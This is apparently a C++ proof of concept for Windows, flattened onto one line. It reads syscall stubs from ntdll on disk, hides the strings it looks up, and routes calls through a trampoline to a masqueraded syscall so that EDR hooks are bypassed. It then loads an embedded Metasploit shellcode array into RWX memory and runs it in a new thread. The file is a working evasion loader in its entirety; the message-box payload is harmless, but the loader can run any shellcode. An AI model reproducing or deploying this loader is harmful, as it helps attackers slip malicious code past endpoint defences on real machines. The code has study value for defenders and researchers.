#define _CRT_SECURE_NO_WARNINGS #include #include #include typedef struct _PS_ATTRIBUTE { ULONG Attribute; SIZE_T Size; union { ULONG Value; PVOID ValuePtr; } u1; PSIZE_T ReturnLength; } PS_ATTRIBUTE, * PPS_ATTRIBUTE; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _PS_ATTRIBUTE_LIST { SIZE_T TotalLength; PS_ATTRIBUTE Attributes[1]; } PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; using pNtWriteVirtualMemory = BOOL(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten); using pNtCreateThreadEx = NTSTATUS(NTAPI*)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PPS_ATTRIBUTE_LIST AttributeList); using pZwAllocateVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); pNtWriteVirtualMemory NtWriteVirtualMemory = nullptr; pNtCreateThreadEx NtCreateThreadEx = nullptr; pZwAllocateVirtualMemory ZwAllocateVirtualMemory = nullptr; PIMAGE_EXPORT_DIRECTORY GetExportDirectory(DWORD_PTR pImageBase); bool CheckFunctionName(LPCSTR pFunctionName, const char* pNameToSearchFor, size_t nameToSearchForLength) { for (int i = 0; i < nameToSearchForLength; i++) { if (pFunctionName[i] != pNameToSearchFor[i]) { return false; } } return true; } LPVOID GetPointerToFunction(PIMAGE_EXPORT_DIRECTORY pExportDirectory, DWORD_PTR pImageBase, const char* pNameToSearchFor, size_t nameToSearchForLength) { auto pAddressOfNames = (PDWORD)(pImageBase + *(&pExportDirectory->AddressOfNames)); auto pAddressOfFunctions = (PDWORD)(pImageBase + *(&pExportDirectory->AddressOfFunctions)); for (int i = 0; i < pExportDirectory->NumberOfNames; i++) { auto pExportName = pImageBase + pAddressOfNames[i]; auto pExportFunction = pImageBase + pAddressOfFunctions[i + 1]; if (CheckFunctionName((LPCSTR)pExportName, pNameToSearchFor, nameToSearchForLength)) { return (LPVOID)pExportFunction; } } return nullptr; } LPVOID GetMasqueradedSyscall() { auto hProcess = GetCurrentProcess(); MODULEINFO moduleInfo; auto hNtdll = GetModuleHandleA("ntdll.dll"); GetModuleInformation(hProcess, hNtdll, &moduleInfo, sizeof(moduleInfo)); auto pImageBase = (DWORD_PTR)moduleInfo.lpBaseOfDll; auto pExportDirectory = GetExportDirectory(pImageBase); char funcName[] = { 'N', 't', 'A', 'd', 'd', 'B', 'o', 'o', 't', 'E', 'n', 't', 'r', 'y' }; auto pMasqueradedSyscall = GetPointerToFunction(pExportDirectory, pImageBase, funcName, sizeof(funcName) / sizeof(funcName[0])); CloseHandle(hProcess); return pMasqueradedSyscall; } LPVOID GetNtCreateThreadEx(PIMAGE_EXPORT_DIRECTORY pExportDirectory, DWORD_PTR pImageBase) { char funcName[] = { 'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x' }; return GetPointerToFunction(pExportDirectory, pImageBase, funcName, sizeof(funcName) / sizeof(funcName[0])); } LPVOID GetNtWriteVirtualMemory(PIMAGE_EXPORT_DIRECTORY pExportDirectory, DWORD_PTR pImageBase) { char funcName[] = { 'N', 't', 'W', 'r', 'i', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y' }; return GetPointerToFunction(pExportDirectory, pImageBase, funcName, sizeof(funcName) / sizeof(funcName[0])); } LPVOID GetZwAllocateVirtualMemory(PIMAGE_EXPORT_DIRECTORY pExportDirectory, DWORD_PTR pImageBase) { char funcName[] = { 'Z', 'w', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y' }; return GetPointerToFunction(pExportDirectory, pImageBase, funcName, sizeof(funcName) / sizeof(funcName[0])); } LPVOID CreateObfuscatedSyscall(LPVOID pOurSyscallFunction, LPVOID pMasqueradedFunction) { // Get the address of the syscall instruction auto syscallAddress = (char*)pMasqueradedFunction + 18; // Construct our trampoline, logic taken from here // https://github.com/bats3c/EvtMute/blob/master/EvtMute/EvtMuteHook/dllmain.cpp#L57 unsigned char jumpPrelude[] = { 0x00, 0x49, 0xBB }; // mov r11 unsigned char jumpAddress[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD, 0xBE, 0xEF }; // Placeholder where the address goes *(void**)(jumpAddress) = syscallAddress; // Replace the address unsigned char jumpEpilogue[] = { 0x41, 0xFF, 0xE3, 0xC3 }; // jmp r11 auto finalSyscall = VirtualAlloc(nullptr, 100, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); memcpy(finalSyscall, pOurSyscallFunction, 7); memcpy((LPVOID)((UINT_PTR)finalSyscall + 7), jumpPrelude, 3); memcpy((LPVOID)((UINT_PTR)finalSyscall + 7 + 3), jumpAddress, sizeof(jumpAddress)); memcpy((LPVOID)((UINT_PTR)finalSyscall + 7 + 3 + 8), jumpEpilogue, 4); DWORD oldProtect = NULL; VirtualProtect(finalSyscall, 100, PAGE_EXECUTE_READ, &oldProtect); return finalSyscall; } void CreateObfuscatedSyscalls() { auto hNtdllFile = CreateFileA(R"(c:\windows\system32\ntdll.dll)", GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr); auto hNtdllMapping = CreateFileMapping(hNtdllFile, nullptr, PAGE_READONLY | SEC_IMAGE, 0, 0, nullptr); auto pNtdllBase = (DWORD_PTR)MapViewOfFile(hNtdllMapping, FILE_MAP_READ, 0, 0, 0); auto pExportDirectory = GetExportDirectory(pNtdllBase); auto pMasqueradedSyscall = GetMasqueradedSyscall(); auto pNtWriteVirtualMemoryStubFromDisk = GetNtWriteVirtualMemory(pExportDirectory, pNtdllBase); auto pNtCreateThreadExStubFromDisk = GetNtCreateThreadEx(pExportDirectory, pNtdllBase); auto pZwAllocateVirtualMemoryStubFromDisk = GetZwAllocateVirtualMemory(pExportDirectory, pNtdllBase); NtWriteVirtualMemory = (pNtWriteVirtualMemory)CreateObfuscatedSyscall(pNtWriteVirtualMemoryStubFromDisk, pMasqueradedSyscall); printf("[+] Obfuscated function created for NtWriteVirtualMemory \n > 0x%p\n", NtWriteVirtualMemory); NtCreateThreadEx = (pNtCreateThreadEx)CreateObfuscatedSyscall(pNtCreateThreadExStubFromDisk, pMasqueradedSyscall); printf("[+] Obfuscated function created for NtCreateThreadEx \n > 0x%p\n", NtCreateThreadEx); ZwAllocateVirtualMemory = (pZwAllocateVirtualMemory)CreateObfuscatedSyscall(pZwAllocateVirtualMemoryStubFromDisk, pMasqueradedSyscall); printf("[+] Obfuscated function created for ZwAllocateVirtualMemory \n > 0x%p\n", ZwAllocateVirtualMemory); CloseHandle(hNtdllFile); CloseHandle(hNtdllMapping); } PIMAGE_EXPORT_DIRECTORY GetExportDirectory(DWORD_PTR pImageBase) { auto pDosHeader = (PIMAGE_DOS_HEADER)pImageBase; auto pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)pImageBase + pDosHeader->e_lfanew); auto exportDirRVA = pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; return (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)pImageBase + exportDirRVA); } void PrintBytes(const char* pLocation) { int i; for (i = 0; i < 10; i++) { unsigned char c = (pLocation)[i]; printf("%02x ", c); } printf("\n"); } void CheckForHooks() { auto hNtdll = GetModuleHandleA("ntdll.dll"); auto pNtCreateThreadExReal = GetProcAddress(hNtdll, "NtCreateThreadEx"); auto pNtWriteVirtualMemoryReal = GetProcAddress(hNtdll, "NtWriteVirtualMemory"); auto pZwAllocateVirtualMemoryReal = GetProcAddress(hNtdll, "ZwAllocateVirtualMemory"); // Check if the first byte is not as expected (e.g. if it's hooked to jmp elsewhere). if (((PBYTE)pNtCreateThreadExReal)[0] != 0x4c) { printf("[-] NtCreateThreadEx is being hooked!\n > "); PrintBytes((char*)pNtCreateThreadExReal); } if (((PBYTE)pNtWriteVirtualMemoryReal)[0] != 0x4c) { printf("[-] NtWriteVirtualMemory is being hooked!\n > "); PrintBytes((char*)pNtWriteVirtualMemoryReal); } if (((PBYTE)pZwAllocateVirtualMemoryReal)[0] != 0x4c) { printf("[-] ZwAllocateVirtualMemory is being hooked!\n > "); PrintBytes((char*)pZwAllocateVirtualMemoryReal); } } int main() { // MSF message box shellcode unsigned char shellcode[] = { 0x54, 0x59, 0x48, 0xbb, 0x57, 0x2a, 0x60, 0x0b, 0xed, 0xcf, 0xd7, 0x71, 0x66, 0x81, 0xe1, 0x00, 0xf7, 0x48, 0x31, 0xff, 0xdb, 0xc7, 0x40, 0xb7, 0x23, 0x48, 0x0f, 0xae, 0x01, 0x48, 0x83, 0xc1, 0x08, 0x4c, 0x8b, 0x39, 0x48, 0xff, 0xcf, 0x49, 0x31, 0x5c, 0xff, 0x1d, 0x48, 0x85, 0xff, 0x75, 0xf3, 0xab, 0x62, 0xe1, 0xef, 0x1d, 0x30, 0x28, 0x8e, 0xbf, 0xfa, 0x60, 0x0b, 0xed, 0x8e, 0x86, 0x30, 0x07, 0x78, 0x31, 0x5d, 0xa5, 0xfe, 0x05, 0x14, 0x1f, 0xa1, 0x32, 0x6b, 0xd3, 0x87, 0x5c, 0x23, 0x4f, 0x14, 0x28, 0x80, 0xbf, 0xef, 0xe9, 0x39, 0xdc, 0x58, 0x30, 0x35, 0xa5, 0xc0, 0x60, 0x3b, 0x1d, 0x67, 0x51, 0xc2, 0xa5, 0xfe, 0x17, 0xdd, 0x6b, 0x4b, 0x1c, 0x09, 0xc1, 0xef, 0x96, 0xb0, 0x9e, 0x27, 0x21, 0x0a, 0x2c, 0x2d, 0x3a, 0x23, 0x16, 0x7b, 0x5e, 0x43, 0x66, 0x9d, 0xf7, 0x4f, 0xdc, 0x68, 0x5c, 0x43, 0xec, 0x1f, 0xe9, 0xfa, 0xd7, 0xa2, 0x60, 0x0b, 0xed, 0x87, 0x52, 0xb1, 0x23, 0x45, 0x28, 0x0a, 0x3d, 0x9f, 0xe9, 0xfa, 0x1f, 0x32, 0x5e, 0x4f, 0x66, 0x8f, 0xf7, 0x38, 0x56, 0xfa, 0x83, 0x57, 0xa5, 0x30, 0x1e, 0x4f, 0x16, 0xa1, 0x54, 0x83, 0xa5, 0xce, 0x01, 0x3c, 0x66, 0xe3, 0x28, 0x3a, 0x2d, 0x63, 0x96, 0xb0, 0x9e, 0x27, 0x21, 0x0a, 0x2c, 0xf7, 0x37, 0x04, 0xa6, 0x14, 0x2c, 0x08, 0xa1, 0xeb, 0xdf, 0x34, 0x6e, 0xfb, 0x15, 0xdd, 0xb5, 0xf1, 0x93, 0xfa, 0x17, 0x0e, 0x29, 0x0a, 0x3d, 0xa9, 0xe9, 0x30, 0xdc, 0x26, 0x28, 0x35, 0xa9, 0x44, 0x97, 0x6d, 0x1e, 0x2b, 0xb0, 0x35, 0xac, 0x44, 0xd3, 0xf9, 0x1f, 0x2b, 0xb0, 0x4a, 0xb5, 0x8e, 0x8f, 0x2f, 0x0e, 0x70, 0x21, 0x53, 0xac, 0x96, 0x96, 0x2b, 0x1f, 0xa9, 0x8c, 0x2b, 0xac, 0x9d, 0x28, 0x91, 0x0f, 0x6b, 0x39, 0x51, 0xd3, 0x87, 0x5c, 0x63, 0xbe, 0x63, 0x9f, 0xf4, 0x12, 0x92, 0x9e, 0xb6, 0x96, 0x2a, 0x60, 0x0b, 0xed, 0xf1, 0x9f, 0xfc, 0xc2, 0xd4, 0x60, 0x0b, 0xed, 0xf1, 0x9b, 0xfc, 0xd2, 0x2a, 0x61, 0x0b, 0xed, 0x87, 0xe6, 0xb8, 0x16, 0x90, 0x25, 0x88, 0xbb, 0xc8, 0x28, 0xa4, 0x1f, 0x1b, 0xa9, 0x4a, 0x57, 0x3f, 0x62, 0xd3, 0x01, 0xd5, 0xb5, 0x53, 0xed, 0x82, 0xb2, 0x02, 0x24, 0x4b, 0x07, 0x6e, 0xaf, 0xa0, 0xaf, 0x71, 0xc3 }; size_t shellcode_size = sizeof(shellcode); #ifdef _DEBUG __debugbreak(); #endif // Debug function to just check for hooks and print CheckForHooks(); // Create code stubs from ntdll on disk CreateObfuscatedSyscalls(); if (ZwAllocateVirtualMemory != nullptr && NtCreateThreadEx != nullptr && NtWriteVirtualMemory != nullptr) { LPVOID alloc_loc = nullptr; auto hCurrentProcess = GetCurrentProcess(); size_t allocated_size = shellcode_size; auto status = ZwAllocateVirtualMemory(hCurrentProcess, &alloc_loc, 0, &allocated_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (status) { auto lastError = GetLastError(); printf("[-] ZwAllocateVirtualMemory Error\n > NTStatus: 0x%lx \n > Last error: 0x%lx\n", status, lastError); return -1; } printf("[+] ZwAllocateVirtualMemory\n > 0x%p\n", alloc_loc); ULONG bytesWritten; status = NtWriteVirtualMemory(hCurrentProcess, (LPVOID)alloc_loc, shellcode, shellcode_size, &bytesWritten); if (status) { auto lastError = GetLastError(); printf("[-] NtWriteVirtualMemory Error\n > Bytes written: %ld\n > NTStatus: 0x%lx\n > Last error: 0x%lx\n", bytesWritten, status, lastError); return -1; } printf("[+] NtWriteVirtualMemory \n > 0x%p\n", alloc_loc); HANDLE hThread = nullptr; LoadLibraryA("user32.dll"); // Required for MSF MessageBox shellcode ONLY printf("[+] Calling NtCreateThreadEx \n > 0x%p\n", alloc_loc); status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, nullptr, hCurrentProcess, (LPVOID)alloc_loc, nullptr, FALSE, NULL, NULL, NULL, nullptr); if (status) { printf("[-] NtCreateThreadEx Error\n > NTStatus: 0x%lx \n > Last error: 0x%lx\n", status, GetLastError()); return -1; } if (hThread) { printf("[+] Thread started - WaitForSingleObject initiated"); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); } else { printf("[-] Error starting thread using NtCreateThreadEx"); CloseHandle(hCurrentProcess); return -1; } CloseHandle(hCurrentProcess); } else { return -1; } return 0; }